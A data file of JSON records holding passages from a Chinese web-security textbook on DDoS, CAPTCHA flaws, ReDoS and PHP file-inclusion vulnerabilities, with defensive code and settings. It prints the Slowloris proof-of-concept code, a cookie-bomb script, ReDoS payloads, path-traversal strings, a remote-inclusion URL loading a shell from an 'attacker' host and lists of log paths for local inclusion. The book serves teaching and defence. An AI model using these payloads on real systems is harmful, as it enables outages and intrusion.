    {"text": "但我们也不能迷信于Web框架本身。 很多Web框架提供的安全解决方案有时并不可靠，我们仍然需要自己实现一个更好的方案。 同时Web框架自身的安全性也不可忽视，作为一个基础服务，一旦出现漏洞，影响是巨大的。"},
    {"text": "比如一个停车场总共有100个车位，当100个车位都停满车后，再有车想要停进来，就必须等已有的车先出去才行。 如果已有的车一直不出去，那么停车场的入口就会排起长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。"},
    {"text": "这些网络节点往往是黑客们所控制的“肉鸡”，数量达到一定规模后，就形成了一个“僵尸网络”。 大型的僵尸网络，甚至达到了数万、数十万台的规模。 如此规模的僵尸网络发起的DDOS攻击，几乎是不可阻挡的。"},
    {"text": "常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。 其中SYN flood是一种最为经典的DDOS攻击，其发现于1996年，但至今仍然保持着非常强大的生命力。"},
    {"text": "SYN flood如此猖獗是因为它利用了TCP协议设计中的缺陷，而TCP/IP协议是整个互联网的基础，牵一发而动全身，如今想要修复这样的缺陷几乎成为不可能的事情。"},
    {"text": "（2）服务器端收到客户端发送来的SYN包后，向客户端发送一个SYN和ACK都置位的TCP报文，包含确认号xx1和服务器端的初始序列号y； （3）客户端收到服务器端返回的SYNSACK报文后，向服务器端返回一个确认号为yy1、序号为xx1的ACK报文，一个标准的TCP连接完成。"},
    {"text": "而SYN flood在攻击时，首先伪造大量的源IP地址，分别向服务器端发送大量的SYN包，此时服务器端会返回SYN/ACK包，因为源地址是伪造的，所以伪造的IP并不会应答，服务器端没有收到伪造IP的回应，会重试3～5次并且等待一个SYNTime（一般为30秒至2分钟），如果超时则丢弃这个连接。 攻击者大量发送这种伪造源地址的SYN请求，服务器端将会消耗非常多的资源（CPU和内存）来处理这种半连接，同时还要不断地对这些IP进行SYN+ACK重试。"},
    {"text": "一般来说，大型网站之所以看起来比较能“抗”DDOS攻击，是因为大型网站的带宽比较充足，集群内服务器的数量也比较多。 但一个集群的资源毕竟是有限的，在实际的攻击中，DDOS的流量甚至可以达到数G到几十G，遇到这种情况，只能与网络运营商合作，共同完成DDOS攻击的响应。 DDOS的攻击与防御是一个复杂的课题，而本书重点是Web安全，因此对网络层的DDOS攻防在此不做深入讨论，有兴趣的朋友可以自行查阅一些相关资料。 13.2 应用层DDOS 应用层DDOS，不同于网络层DDOS，由于发生在应用层，因此TCP三次握手已经完成，连接已经建立，所以发起攻击的IP地址也都是真实的。 但应用层DDOS有时甚至比网络层DDOS攻击更为可怕，因为今天几乎所有的商业Anti-DDOS设备，只在对抗网络层DDOS时效果较好，而对应用层DDOS攻击却缺乏有效的对抗手段。 那么应用层DDOS到底是怎么一回事呢？"},
    {"text": "而黑客则挑衅式地将fatboy所实现的攻击方式命名为：Chal-lenge Collapasar（简称CC），意指在黑洞的防御下，仍然能有效完成拒绝服务攻击。"},
    {"text": "在百度百科中有一个很典型的例子：应用层常见SQL代码范例如下（以PHP为例）：$sql=\"select * from post where tagid='$tagid' order by postid desc limit $start ,30\";当post表数据庞大，翻页频繁，$start数字急剧增加时，查询影响结果集=$start+30; 该查询效率呈现明显下降趋势，而多并发频繁调用，因查询无法立即完成，资源无法立即释放，会导致数据库请求连接过多，数据库阻塞，网站无法正常打开。"},
    {"text": "比如，在大流量网站siteA上插入一段代码： <iframe src=\"http://target\" height=0 width=0 ></iframe> 那么所有访问该页面的siteA用户，都将对此target发起一次HTTP GET请求，这可能直接导致target拒绝服务。"},
    {"text": "比如当memcache查询没有命中时，服务器必然会查询数据库，从而增大服务器资源的消耗，攻击者只需要找到这样的页面即可。 同时攻击者除了触发“读”数据操作外，还可以触发“写”数据操作，“写”数据的行为一般都会导致服务器操作数据库。"},
    {"text": "比如下面这段代码： class RequestLimit: # add a click to the list statistic def addRequestClick(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # if memcache list does not exist, then create it if (blkip == None): blkip = [{'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'},] memcache.add('RequestLimitList', blkip) else: ip_exists = False for ips in blkip: # found ip if (ips['ip_addr'] == ip_addr): ip_exists = True # check if bcookie is the same if (not bcookie) or (ips.has_key('bcookie') and ips['bcookie'] == bcookie): ips['count'] += 1 ips['update_time'] = datetime.datetime.now() # if update time is 30 seconds later, then reset base time period = ips['update_time'] - ips['base_time'] if ( period.seconds > 30 ) and ( ips['status'] == 'ok' ): ips['base_time'] = ips['update_time'] ips['count'] = 1 break else: # ip is the same, but bcookie is different pass # ip not found if (ip_exists == False): blkip.append({'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'}) memcache.set('RequestLimitList', blkip) return def checkIPInBlacklist(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # flag to check if found a block ip found = False ## step 1: find the ip address in ip list ## step 2: check if request counts reach the limits ## step 3: check if time period is in the limit for ips in blkip: if (ips['ip_addr'] == ip_addr): # find the ip # check if the ip is bannd reqs_time = datetime.datetime.now() - ips['base_time'] if ( ips['status'] == 'banned' ): # if banned time is over, then free the ip if (reqs_time.seconds >= PLANETCONFIG['REQUESTLIMITFREETIME']) : # time to free the banned ip # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'ok' memcache.set('RequestLimitList', blkip) else: found = True break if (ips['count'] >= PLANETCONFIG['REQUESTLIMITPERHALFMIN']): # check count limit #print reqs_time.seconds if ( reqs_time.seconds < 30): # check time limit found = True # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'banned' memcache.set('RequestLimitList', blkip) break return found 在使用时： # request limit reqlimit = RequestLimit() # remember checkIPInBlacklist must invoke after addRequestClick reqlimit.addRequestClick(ip, bcookie) if (reqlimit.checkIPInBlacklist(ip, bcookie) == True): self.response.set_status(444, 'request too busy') self.renderTemplate('common/ requestlimit.html') return False 这段代码就是针对应用层DDOS攻击的一个简单防御。"},
    {"text": "它的思路很简单，通过IP地址与Cookie 定位一个客户端，如果客户端的请求在一定时间内过于频繁，则对之后来自该客户端的所有请求都重定向到一个出错页面。"},
    {"text": "这个方案中有两个因素用以定位一个客户端：一个是IP地址，另一个是Cookie。 但用户的IP地址可能会发生改变，而Cookie又可能会被清空，如果IP地址和Cookie同时都发生了变化，那么就无法再定位到同一个客户端了。"},
    {"text": "代理猎手使用界面 而AccessDiver则已经自动化地实现了这种变换IP地址的攻击，它可以批量导入代理服务器地址，然后通过代理服务器在线暴力破解用户名和密码。"},
    {"text": "13.3 验证码的那些事儿 验证码是互联网中常用的技术之一，它的英文简称是CAPTCHA（Completely Automated Pub-lic Turing Test to Tell Computers and HumansApart，全自动区分计算机和人类的图灵测试）。"},
    {"text": "因为验证码的验证过程，是比对用户提交的明文和服务器端Session里保存的验证码明文是否一致。 所以曾经有验证码系统出现过这样的漏洞：因为验证码消耗掉后SessionID未更新，导致使用原有的SessionID可以一直重复提交同一个验证码。"},
    {"text": "POST /vuln_script.php HTTP/1.0 Cookie: PHPSESSID=329847239847238947; Content-Length: 49 Connection: close; name=bob&email=bob@fish.com&captcha=the_plain text 在SessionID未失效前，可以一直重复发送这个包，而不必担心验证码的问题。"},
    {"text": "形成这个问题的伪代码类似于： if form_submitted and captcha_stored!=\"\" and captcha_sent=captcha_stored then process_form(); endif: 如果要修补也很简单： if form_submitted and captcha_stored!=\"\" and captcha_sent=captcha_stored then captcha_stored=\"\"; process_form(); endif: 还有的验证码实现方式，是提前将所有的验证码图片生成好，以哈希过的字符串作为验证码图片的文件名。"},
    {"text": "但这种一一对应的验证码文件名会存在一个缺陷：攻击者可以事先采用枚举的方式，遍历所有的验证码图片，并建立验证码到明文之间的一一对应关系，从而形成一张“彩虹表”，这也会导致验证码形同虚设。"},
    {"text": "# minimum request rate (bytes/sec at request reading): QS_SrvRequestRate 120 # limits the connections for this virtual host: QS_SrvMaxConn 800 # allows keep-alive support till the server reaches 600 connections: QS_SrvMaxConnClose 600 # allows max 50 connections from a single ip address: QS_SrvMaxConnPerIP 50 # disables connection restrictions for certain clients: QS_SrvMaxConnExcludeIP 172.18.3.32 QS_SrvMaxConnExcludeIP 192.168.10. mod_qos功能强大，它还有更多的配置，有兴趣的朋友可以通过官方网站获得更多的信息。"},
    {"text": "假设攻击者有1000个IP地址发起攻击，如果请求了10000次，则平均每个IP地址请求同一页面达到10次，攻击如果持续下去，单个IP地址的请求也将变多，但无论如何变，都是在这1000个IP地址的范围内做轮询。"},
    {"text": "为此Yahoo实现了一套算法，根据IP地址和Cookie等信息，可以计算客户端的请求频率并进行拦截。 Yahoo设计的这套系统也是为Web Server开发的一个模块，但在整体架构上会有一台master服务器集中计算所有IP地址的请求频率，并同步策略到每台WebServer上。"},
    {"text": "United States Patent 7,533,414 Reed , et al. May 12, 2009 Detecting system abuse Abstract A system continually monitors service requests and detects service abuses. First, a screening list is created to identify potential abuse events. A screening list includes event IDs and associated count values. A pointer cyclically selects entries in the table, advancing as events are received. An incoming event ID is compared with the event IDs in the table. If the incoming event ID matches an event ID in the screening list, the associated count is incremented. Otherwise, the count of a selected table entry is decremented. If the count value of the selected entry falls to zero, it is replaced with the incoming event. Event IDs can be based on properties of service users, such as user identifications, or of service request contents, such as a search term or message content. The screening list is analyzed to determine whether actual abuse is occurring. Yahoo设计的这套防御体系，经过实践检验，可以有效对抗应用层DDOS攻击和一些类似的资源滥用攻击。"},
    {"text": "由于WebServer对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。"},
    {"text": "GET / HTTP/1.1\\r\\n Host: host\\r\\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n Content-Length: 42\\r\\n 在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。 Content-Length: 42\\r\\n\\r\\n 由于Web Server只收到了一个\\r\\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。"},
    {"text": "在Slowloris的专题网站上可以下载到POC演示程序，其核心代码如下： sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print \"\\t\\tBuilding sockets.\\n\"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => \"$host\", PeerPort => \"$port\", Timeout => \"$tcpto\", Proto => \"tcp\", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => \"$host\", PeerPort => \"$port\", Timeout => \"$tcpto\", Proto => \"tcp\", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = \"?\" . int( rand(99999999999999) ); } else { $rand = \"\"; } my $primarypayload = \"$method /$rand HTTP/1.1\\r\\n\" . \"Host: $sendhost\\r\\n\" . \"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n\" . \"Content-Length: 42\\r \\n\"; my $handle = $sock[$z]; if ($handle) { print $handle \"$primarypayload\"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print \"\\t\\tSending data.\\n\"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle \"X-a: b\\r\\n\" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print \"Current stats:\\tSlowloris has now sent $packetcount packets successfully.\\nThis thread now sleeping for $timeout seconds...\\n\\n\"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \\&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } 这种攻击几乎针对所有的Web Server都是有效的。"},
    {"text": "在Slowloris发布之前，也曾经有人意识到这个问题，但是Apache官方否认Slowloris的攻击方式是一个漏洞，他们认为这是Web Server的一种特性，通过调整参数能够缓解此类问题，给出的回应是参考文档中调整配置参数的部分。"},
    {"text": "POC如下图所示： 成功实施攻击后会留下如下错误日志（Apache）： $tail -f /var/log/apache2/error.log [Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations [Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting 由此可知，这种攻击的本质也是针对Apache的MaxClients限制的。"},
    {"text": "由以上两个例子我们很自然地联想到，凡是资源有“限制”的地方，都可能发生资源滥用，从而导致拒绝服务，也就是一种“资源耗尽攻击”。 出于可用性和物理条件的限制，内存、进程数、存储空间等资源都不可能无限制地增长，因此如果未对不可信任的资源使用者进行配额的限制，就有可能造成拒绝服务。"},
    {"text": "Web Server对HTTP包头都有长度限制，以Apache举例，默认是8192字节。 也就是说，Apache所能接受的最大HTTP包头大小为8192字节（这里指的是Request Header，如果是Re-quest Body，则默认的大小限制是2GB）。 如果客户端发送的HTTP包头超过这个大小，服务器就会返回一个4xx错误，提示信息为： Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit. 假如攻击者通过XSS攻击，恶意地往客户端写入了一个超长的Cookie，则该客户端在清空Cookie之前，将无法再访问该Cookie所在域的任何页面。 这是因为Cookie也是放在HTTP包头里发送的，而Web Server默认会认为这是一个超长的非正常请求，从而导致“客户端”的拒绝服务。 比如以下POC代码： <script language=\"javascript\"> alert(document.cookie); var metastr = \"AAAAAAAAAA\"; // 10 A var str = \"\"; while (str.length < 4000){ str += metastr; } alert(str.length); document.cookie = \"evil3=\" + \"\\<script \\>alert(xss)\\<\\/script\\>\" +\";expires=Thu, 18-Apr-2019 08:37:43 GMT;\"; document.cookie = \"evil1=\" + str +\";expires=Thu, 18-Apr-2019 08:37:43 GMT;\"; document.cookie = \"evil2=\" + str +\";expires=Thu, 18-Apr-2019 08:37:43 GMT;\"; alert(document.cookie); </script> 将向客户端写入一个超长的Cookie。 要解决此问题，需要调整Apache配置参数LimitRequestFieldSize，这个参数设置为0时，对HTTP包头的大小没有限制。"},
    {"text": "通过以上几种攻击的介绍，我们了解到“拒绝服务攻击”的本质实际上就是一种“资源耗尽攻击”，因此在设计系统时，需要考虑到各种可能出现的场景，避免出现“有限资源”被恶意滥用的情况，这对安全设计提出了更高的要求。"},
    {"text": "我们知道正则表达式是基于NFA（Nondeterministic Finite Au-tomaton）的，它是一个状态机，每个状态和输入符号都可能有许多不同的下一个状态。"},
    {"text": "当用户恶意构造输入时，这些有缺陷的正则表达式就会消耗大量的系统资源（比如CPU和内存），从而导致整台服务器的性能下降，表现的结果是系统速度很慢，有的进程或服务失去响应，与拒绝服务的后果是一样的。"},
    {"text": "就上面这个正则表达式来说，我们可以进行一项测试，测试代码如下： # # retime.py - Python test program for regular expression DoS attacks # # This test program measures the execution time of the Python regular expression # matcher to determine if it has problems with regular expression denial-of-service (ReDoS) # attacks. A ReDoS attack becomes possible in applications which use poorly written regular # expressions to validate user inputs. An improperly written regular expression has an # exponential run time when given a non- matching string. Character strings as short as # 30 characters can cause problems. # # The following WikiPedia article provides more information about the ReDoS problem: # # http://en.wikipedia.org/wiki/ Regular_expression_Denial_of_Service_-_ReDoS # # This program has been tested with both CPython and IronPython. Versions of the # test program for C#, Java, JavaScript, Perl, and PHP are also available at: # # http://www.computerbytesman.com/redos # # Author: Richard M. Smith # # Please send comments, questions, additions, etc. to info@computerbytesman.com # # # Test parameters # # regex: String containing the regular expression to be tested # maketeststring: A function which generates a test string from a length parameter # maxiter: Maximum number of test iterations to be performed (typical value is 50) # maxtime: Maximum execution time in seconds for one iteration before the test program # is terminated (typical value is 2 seconds) # regex = r\"^(a+)+$\" maketeststring = lambda n: \"a\" * n + \"!\" maxiter = 50 maxtime = 2 # # Python modules used by this program # import re import time import sys # # Main function # def main(): print print \"Python Regular Expression DoS demo\" print \"from http://www.computerbytesman.com/redos\" print print \"Platform: %s %s\" % (sys.platform, sys.version) print \"Regular expression %s\" % (regex) print \"Typical test string: %s\" % (maketeststring(10)) print \"Max. iterations: %d\" % (maxiter) print \"Max. match time: %d sec%s\" % (maxtime, \"s\" if maxtime != 1 else \"\") print cregex = re.compile(regex) for i in xrange(1, maxiter): time = runtest(cregex, i) if time > maxtime: break return # # Run one test # def runtest(regex, n): teststr = maketeststring(n) starttime = time.clock() match = regex.match(teststr) elapsetime = int((time.clock() - starttime) * 1000) count = 0 if match != None: count = match.end() - match.start() print \"For n=%d, match time=%d msec%s, match count=%s\" % (n, elapsetime, \"s\" if elapsetime == 1 else \"\", count) return float(elapsetime) / 1000 if __name__ == \"__main__\": main() 测试结果如下： Python Regular Expression DoS demo from http://www.computerbytesman.com/redos Platform: win32 2.6 (r26:66714, Nov 11 2008, 10:21:19) [MSC v.1500 32 bit (Intel)] Regular expression ^(a+)+$ Typical test string: aaaaaaaaaa! Max. iterations: 50 Max. match time: 2 secs For n=1, match time=0 msec, match count=0 For n=2, match time=0 msec, match count=0 For n=3, match time=0 msec, match count=0 For n=4, match time=0 msec, match count=0 For n=5, match time=0 msec, match count=0 For n=6, match time=0 msec, match count=0 For n=7, match time=0 msec, match count=0 For n=8, match time=0 msec, match count=0 For n=9, match time=0 msec, match count=0 #-------------- +-------------------------------------------- ------------------- patterns list of malicious RegEx #-------------- +-------------------------------------------- ------------------- a++ (a+)+ charclass+ ([a-zA-Z]+)* a_or_aa (a|aa)+ a_or_a (a|a?)+ a_11 (.*a){11} a_65 (.*a){65} Friedl ([^\\\\\"']+)* #--------------- same as above again enclosed in ^and $ ---------------- start_a++ ^(a+)+$ start_charclass ^([a-zA-Z]+)*$ start_a_or_aa ^(a|aa)+$ start_a_or_a ^(a|a?)+$ start_a_11 ^(.*a){11}$ start_a_65 ^(.*a){65}$ start_Friedl ^([^\\\\\"']+)*$ #--------------- OWASP ^[a-zA-Z]+((['\\,\\.\\-][a-zA-Z ])?[a-zA- Z]*)*$ DataVault ^\\[(,.*)*\\]$ EntLib ^([^\"]+)(?:\\\\([^\"]+))*$ Java_Classname ^(([a-z])+.)+[A-Z]([a-z])+$ Cox_10 a?a?a?a?a?a?a?a?a?a?aaaaaaaaaa Cox_25 a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a? a?a?a?a?a?a?aaaaaaaaaaaaaaaaaaaaaaaaa #-------------- +-------------------------------------------- ------------------- 同时，也可以使用以下测试用例验证正则表达式是否存在ReDOS问题。"},
    {"text": "#-------------- +-------------------------------------------- ------------------- payloads list of payloads #-------------- +-------------------------------------------- ------------------- a_12X aaaaaaaaaaaaX a_18X aaaaaaaaaaaaaaaaaaX a_33X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX a_49X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaX Cox_10 aaaaaaaaaa Cox_20 aaaaaaaaaaaaaaaaaaaa Cox_25 aaaaaaaaaaaaaaaaaaaaaaaaa Cox_34 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Java_Classname aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! EmailValidation a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! EmailValidatioX a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX invalid_Unicode (.+)+\\u0001 DataVault_DoS [,,,,,,,,,,,,,,,,,,,,,,,,,,,,, EntLib_DoS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" EntLib_DoSX \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\"X #-------------- +-------------------------------------------- ------------------- 虽然正则表达式的解析算法有可能实现得更好一些，但是流行语言为了提供增强型的解析引擎，仍然使用了“na?ve algorithm”，从而使得在很多平台和开发语言内置的正则解析引擎中都存在类似的问题。"},
    {"text": "在今天的互联网中，正则表达式可能存在于任何地方，但只要任何一个环节存在有缺陷的正则表达式，就都有可能导致一次ReDOS。 可能使用了正则表达式的地方 在检查应用安全时，一定不能忽略ReDOS可能造成的影响。"},
    {"text": "14.1 文件包含漏洞 严格来说，文件包含漏洞是“代码注入”的一种。 在“注入攻击”一章中，曾经提到过“代码注入”这种攻击，其原理就是注入一段用户能控制的脚本或代码，并让服务器端执行。 “代码注入”的典型代表就是文件包含（File Inclusion）。 文件包含可能会出现在JSP、PHP、ASP等语言中，常见的导致文件包含的函数如下。 PHP：include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ... JSP/Servlet：ava.io.File(), java.io.Fil-eReader(), ... ASP：include file, include virtual, ... 在互联网的安全历史中，PHP的文件包含漏洞已经臭名昭著了，因为黑客们在各种各样的PHP应用中挖出了数不胜数的文件包含漏洞，且后果都非常严重。 文件包含是PHP的一种常见用法，主要由4个函数完成： include() require() include_once() require_once() 当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP内核并不会在意该被包含的文件是什么类型。 所以如果被包含的是txt文件、图片文件、远程URL，也都将作为PHP代码执行。"},
    {"text": "比如以下代码： <?php include($_GET[test]); ?> 引入同目录下的一个文件时：测试页面 当这个txt文件中包含了可执行的PHP代码时： 再执行漏洞URL，发现代码被执行了： phpinfo()函数被执行 要想成功利用文件包含漏洞，需要满足下面两个条件： （1）include()等函数通过动态变量的方式引入需要包含的文件；"},
    {"text": "<?php $file = $_GET['file']; // \"../../etc/passwd \\0\" if (file_exists('/home/wwwrun/'. $file.'.php')) { // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists include '/home/wwwrun/'.$file.'.php'; // the file /etc/passwd will be included } ?> 用户能够控制参数file，当file的值为“../../etc/passwd”时，PHP将访问/etc/passwd文件。 但是在此之前，还需要解决一个小问题： include '/home/wwwrun/'.$file.'.php'; 这种写法将变量与字符串连接起来，假如用户控制$file的值为“../../etc/passwd”时，这段代码相当于： include '/home/wwwrun/../../etc/passwd.php'; 被包含文件实际上是“/etc/passwd.php”，但这个文件其实是不存在的。"},
    {"text": "所以在这个地方，攻击者只要在最后加入一个0字节，就能截断file变量之后的字符串，即： ../../etc/passwd\\0 通过Web输入时，只需UrlEncode，变成： ../../etc/passwd%00 字符串截断的技巧，也是文件包含中最常用的技巧。 但在一般的Web应用中，0字节用户其实是不需要使用的，因此完全可以禁用0字节，比如： <?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if (is_string($value)) { $value = str_replace(\"\\0\", '', $value); } } ?> 但这样并没有解决所有问题，国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制，可以不需要0字节而达到截断的目的。"},
    {"text": "通过“./”的方式即可，比如： ./././././././././././././abc 或者 /////////////////abc 或者 ../1/abc/../1/abc/../1/abc 除了include()等4个函数外，PHP中能够对文件进行操作的函数都有可能出现漏洞。"},
    {"text": "文件包含漏洞读出了/etc/passwd的信息 在上面的例子中可以看到，使用了“../../../”这样的方式来返回到上层目录中，这种方式又被称为“目录遍历”（Path Traversal）。"},
    {"text": "%2e%2e%2f等同于../ %2e%2e/等同于../ ..%2f等同于../ %2e%2e%5c等同于..\\ %2e%2e\\等同于..\\ ..%5c等同于..\\ %252e%252e%255c等同于..\\ ..%255c等同于..\\ and so on. 某些Web容器支持的编码方式： ..%c0%af等同于../ ..%c1%9c等同于..\\ 比如CVE-2008-2938，就是一个Tomcat的目录遍历漏洞。"},
    {"text": "http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 目录遍历漏洞是一种跨越目录读取文件的方法，但当PHP配置了open_basedir时，将很好地保护服务器，使得这种攻击无效。"},
    {"text": "测试页面 当设置了open_basedir时： ; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory ; or per-virtualhost web server configuration file. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off. open_basedir = D:\\soft\\develop\\env\\sites \\www.a.com\\ 文件包含失败： 测试页面 错误提示： Warning: include() [function.include]: open_basedir restriction in effect. File(../../../../../../../../../../../../../. ./../../../x.txt) is not within the allowed path(s): (D:\\soft\\develop\\env\\sites \\www.a.com\\) in D:\\soft\\develop\\env\\sites\\www.a.com \\test.php on line 3 需要注意的是，open_basedir的值是目录的前缀，因此假设设置如下： open_basedir = /home/app/aaa 那么实际上，以下目录都是在允许范围内的。"},
    {"text": "/home/app/aaa /home/app/aaabbb /home/app/aaa123 如果要限定一个指定的目录，则需要在最后加上“/”。 open_basedir = /home/app/aaa/ 在Windows下多个目录应当用分号隔开，在Linux下则用冒号隔开。"},
    {"text": "一种变通方式，则是使用枚举，比如： <?php $file = $_GET['file']; // Whitelisting possible values switch ($file) { case 'main': case 'foo': case 'bar': include '/home/wwwrun/include/'. $file.'.php'; break; default: include '/home/wwwrun/include/ main.php'; } ?> $file的值被枚举出来，也就避免了任意文件包含的风险。"},
    {"text": "14.1.2 远程文件包含 如果PHP的配置选项allow_url_include为ON的话，则include/require函数是可以加载远程文件的，这种漏洞被称为远程文件包含漏洞（Re-mote File Inclusion，简称RFI）。"},
    {"text": "比如如下代码： <?php if ($route == \"share\") { require_once $basePath . '/action/ m_share.php'; } elseif ($route == \"sharelink\") { require_once $basePath . '/action/ m_sharelink.php'; } ?> 在变量$basePath前没有设置任何障碍，因此攻击者可以构造类似如下的攻击URL。 /?param=http://attacker/phpshell.txt? 最终加载的代码实际上执行了： require_once 'http://attacker/phpshell.txt?/ action/m_share.php'; 问号后面的代码被解释成URL的querys-tring，也是一种“截断”，这是在利用远程文件包含漏洞时的常见技巧。"},
    {"text": "远程文件包含漏洞可以直接用来执行任意命令，比如在攻击者的服务器上存在如下文件： <?php echo system(\"ver;\"); ?> 包含远程文件后，获得命令执行： 系统命令被执行 14.1.3 本地文件包含的利用技巧 本地文件包含漏洞，其实也是有机会执行PHP代码的，这取决于一些条件。 远程文件包含漏洞之所以能够执行命令，就是因为攻击者能够自定义被包含的文件内容。 因此本地文件包含漏洞想要执行命令，也需要找到一个攻击者能够控制内容的本地文件。 经过不懈的研究，安全研究者总结出了以下几种常见的技巧，用于本地文件包含后执行PHP代码。"},
    {"text": "伪协议如php://input等需要服务器支持，同时要求allow_url_include设置为ON。 在PHP5.2.0之后的版本中支持data：伪协议，可以很方便地执行代码，它同样要求allow_url_include为ON。"},
    {"text": "http://www.example.com/index.php? file=data:text/plain,<?php phpinfo();?>%00 包含Session文件的条件也较为苛刻，它需要攻击者能控制部分Session文件的内容。 比如： x|s:19:\"<?php phpinfo(); ?>\" PHP默认生成的Session文件往往存放在/tmp目录下，比如： /tmp/sess_SESSIONID 包含日志文件是一种比较通用的技巧。"},
    {"text": "但需要注意的是，如果网站访问量大的话，日志文件有可能会很大（比如一个日志文件有2GB），当包含一个这么大的文件时，PHP进程可能会僵死。"},
    {"text": "httpd.conf一般会存在Apache的安装目录下，在Redhat系列里默认安装的可能为/etc/httpd/conf/httpd.conf，而自定义安装的可能在/usr/local/apache/conf/httpd.conf为。"},
    {"text": "常见的日志文件可能会存在以下地方： ../../../../../../../../../../var/log/httpd/ access_log ../../../../../../../../../../var/log/httpd/ error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/ acces_log ../../../../../../../../../../etc/httpd/logs/ acces.log ../../../../../../../../../../etc/httpd/logs/ error_log ../../../../../../../../../../etc/httpd/logs/ error.log ../../../../../../../../../../var/www/logs/ access_log ../../../../../../../../../../var/www/logs/ access.log ../../../../../../../../../../usr/local/ apache/logs/access_log ../../../../../../../../../../usr/local/ apache/logs/access.log ../../../../../../../../../../var/log/apache/ access_log ../../../../../../../../../../var/log/apache/ access.log ../../../../../../../../../../var/log/ access_log ../../../../../../../../../../var/www/logs/ error_log ../../../../../../../../../../var/www/logs/ error.log ../../../../../../../../../../usr/local/ apache/logs/error_log ../../../../../../../../../../usr/local/ apache/logs/error.log ../../../../../../../../../../var/log/apache/ error_log ../../../../../../../../../../var/log/apache/ error.log ../../../../../../../../../../var/log/ access_log ../../../../../../../../../../var/log/ error_log /var/log/httpd/access_log /var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log 